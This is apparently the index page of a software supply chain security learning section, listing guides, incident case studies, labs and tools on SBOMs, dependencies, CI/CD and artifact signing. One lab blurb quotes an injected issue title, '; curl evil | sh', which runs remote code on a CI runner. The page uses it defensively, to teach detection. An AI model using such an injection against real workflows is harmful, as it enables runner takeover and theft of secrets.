Software supply chain
Know what you ship. Protect dependencies, build systems, artifacts, and their provenance.
29 guides · 3 labs · 1 local project · 1 learning path
Start here
SBOMs
Generate, identify and compare the inventory of what you release.
Generate an SBOM for the software you actually release
Define the inventory boundary, compare build and artifact evidence, and connect the resulting SBOM to an immutable release.
Choose SBOM formats and identify components accurately
Separate schema versions, document references and package identities so inventory conversion and advisory matching preserve meaning.
Review SBOM changes between releases
Turn inventory differences into explainable release decisions without confusing generator changes with software changes.
Dependencies and VEX
Triage vulnerable dependencies, review project health and respond to bad packages.
Triage new dependency vulnerability findings
Turn a weekly batch of Dependabot, OSV-Scanner or npm audit findings into a short list of distinct, shipped, reachable issues, each routed to one outcome: fix, not affected, accept or escalate.
Investigate a suspected malicious package safely
Distinguish package substitution, publisher compromise and dangerous installation behavior while containing exposure and preserving evidence.
Use VEX without losing vulnerability evidence
Produce and consume precise vulnerability status statements tied to the product, version, justification and evidence.
Review dependency health without treating a score as a guarantee
Combine security practices, maintenance, licensing and product exposure into a recorded adoption or replacement decision.
Case study: the Shai-Hulud npm worm (2025-2026)
How a self-replicating npm worm turned stolen tokens into hundreds of infected packages in 2025, how its 2026 successors hijacked release pipelines and trusted publishing, what npm and GitHub changed in response, and the publishing, install and response practices that stop it.
Case study: the xz Utils backdoor (CVE-2024-3094)
How a multi-year maintainer takeover planted a backdoor in xz Utils release tarballs, how build-time injection hid it from the git repository, why a performance anomaly exposed it, which systems shipped it, and what it teaches about reproducible builds and maintainer health.
Case study: event-stream and ua-parser-js, two npm package takeovers
Two ways attackers took over popular npm packages: event-stream (2018), handed to a stranger who added a targeted, encrypted payload through a new dependency, and ua-parser-js (2021), whose maintainer's account was hijacked to publish versions that installed malware for four hours. Timelines, detection and the controls that stop both.
Case study: the polyfill.io CDN takeover (2024)
How the sale of the polyfill.io domain and project in February 2024 turned a script tag on more than 100,000 websites into a channel for malicious redirects by June, why Subresource Integrity could not have protected it, and the controls that would have.
Stop dependency confusion and typosquatting at install time
Pin every internal package name to its real source, verify installed bytes against a lockfile, and delay or gate install scripts so a public look-alike cannot replace a private dependency.
Open source license compliance: SPDX expressions, obligations and SBOM checks
Know which licenses you ship, read SPDX license expressions correctly, meet the obligations of common licenses for the way you distribute, and enforce a license policy in CI from the SBOM.
Adopt the OpenSSF S2C2F as a consumer: the eight practices, the four maturity levels and a staged plan with evidence
Assess how your organization takes in open source against the Secure Supply Chain Consumption Framework's 25 requirements, then reach each maturity level in turn with evidence an assessor can check.
CI/CD and builds
Protect the path from pull request to release and keep builds reproducible.
Protect the path from pull request to release
Separate untrusted contribution checks from privileged release work and verify the identity of the artifact that is actually deployed.
Keep untrusted CI work outside the release boundary
Review workflow authority, persistent state and artifact handoffs before contributor-controlled code reaches privileged jobs.
Investigate build differences and improve reproducibility
Control inputs and environment, compare artifact bytes, and explain the security properties a repeatable build can demonstrate.
Case study: the tj-actions/changed-files compromise (CVE-2025-30066)
In March 2025 an attacker moved the version tags of a popular GitHub Action, and of a reviewdog action before it, to code that printed CI secrets into build logs. This case study traces the token chain back to one pull_request_target workflow, sizes the exposure, and shows how it was caught and which controls held.
Case study: the SolarWinds Orion build compromise (SUNBURST)
How an implant on SolarWinds' build server inserted the SUNBURST backdoor into signed Orion updates in 2020, how it was found, why code signing and review could not catch it, and which build controls would have.
Case study: the Codecov Bash Uploader compromise (2021)
How a credential leaked through Codecov's Docker image process let an attacker change the Bash Uploader that many CI pipelines downloaded and ran, which sent their environment variables, and the secrets in them, to the attacker for two months in 2021.
Case study: the 3CX DesktopApp supply-chain attack (CVE-2023-29059)
How a trojanized trading application on one employee's personal computer led to 3CX's build servers and to signed, malicious 3CX DesktopApp releases in 2023: the first cascading software supply-chain compromise Mandiant had seen, how EDR caught it, and the controls that would have stopped it.
Harden GitHub Actions against workflow and supply-chain attacks
Close the paths that give untrusted pull-request code secrets or a write token: pass context through env, keep pull_request_target away from fork code, pin actions to commit SHAs, scope GITHUB_TOKEN and OIDC, and treat artifacts as data.
Protect the source repository: rulesets, reviews and signed commits
Configure the controls every repository that ships software needs: protected branches and tags, required review with CODEOWNERS, signed commits, secret push protection and account security, mapped to the SLSA Source track, the OpenSSF OSPS Baseline and Scorecard.
Secure the developer workstation: extensions, package managers, secrets and AI agents
Attackers reach the software supply chain through developers' editors, package installs and AI agents. Allow-list extensions, stop install scripts and brand-new versions, keep long-lived secrets off laptops, and lock down repository files that run code when a project opens.
Meet the OpenSSF OSPS Baseline as a maintainer: the levels, every Level 1 control on GitHub, and the evidence
Walk through the eight control families and three maturity levels of OSPS Baseline v2026.08.28, meet each Level 1 requirement on a GitHub repository, and keep evidence a consumer can check.
Case study: the CircleCI security incident (January 2023)
How a session stolen from one engineer's laptop reached CircleCI's production systems and customers' stored secrets in 2023, and what platform operators and CI users should change.
Signing, provenance and releases
Verify who built an artifact, from what, and protect how it is published.
Verify artifact signatures against an explicit trust policy
Require the expected artifact, signer and release context before allowing a signed package or image to proceed.
Read SLSA provenance and verify the claim you need
Connect an artifact to its build evidence while distinguishing provenance, build assurance and source controls.
Protect package publication and the update channel
Constrain release identities, verify what consumers receive, and prepare for publisher or update-key compromise.
Staged rollout and rollback for security-critical updates
Ship security fixes, detection content and configuration quickly without taking the fleet down: rollout rings and canaries, content validation, kill switches and rollback that works on a broken host.
Case study: CrowdStrike Channel File 291 (July 2024)
How a CrowdStrike content update crashed Windows hosts in July 2024: a field-count mismatch hidden by wildcard tests, a missing bounds check, and no staged rollout.
SBOM completeness lab: Find the dependencies missing from a release SBOM
A release SBOM lists only direct dependencies. The shipped artifact also contains a bundled parser and a transitive helper. Repair the comparison so inventory omissions remain visible.
Signed artifact provenance lab: Reject a release from the wrong producer
A deployment gate accepts any signed artifact. A valid signature from an unrelated repository can therefore reach production. Repair the trust policy applied to verified evidence.
Actions injection lab: Flag GitHub Actions expression injection
A workflow interpolates ${{ github.event.issue.title }} straight into a run script, so an issue title like "; curl evil | sh" runs on the runner. The linter that is supposed to catch this only knows one expression. Repair it so it flags any attacker-controlled context used in a shell script, and treats the env-variable pattern as safe.
Build and verify a signed software release
Build a real executable, generate an SBOM and DSSE-signed in-toto provenance, then repair the consuming gate so a valid signature cannot approve the wrong source, builder or release.
SBOM checker
Inspect CycloneDX or SPDX JSON for useful inventory signals, missing information, and reference problems. Export the report as JSON or CSV.
OSV dependency lookup
Read package-lock.json, requirements.txt, poetry.lock, go.sum, Gemfile.lock, composer.lock or an SBOM locally, then check the exact versions against OSV.dev once you approve the request.
GitHub Actions workflow analyzer
Check a pasted workflow for pull_request_target and workflow_run checkouts, ${{ }} injection in run steps, tag-pinned actions, broad GITHUB_TOKEN permissions, secrets: inherit, persisted credentials, self-hosted runners and cache poisoning.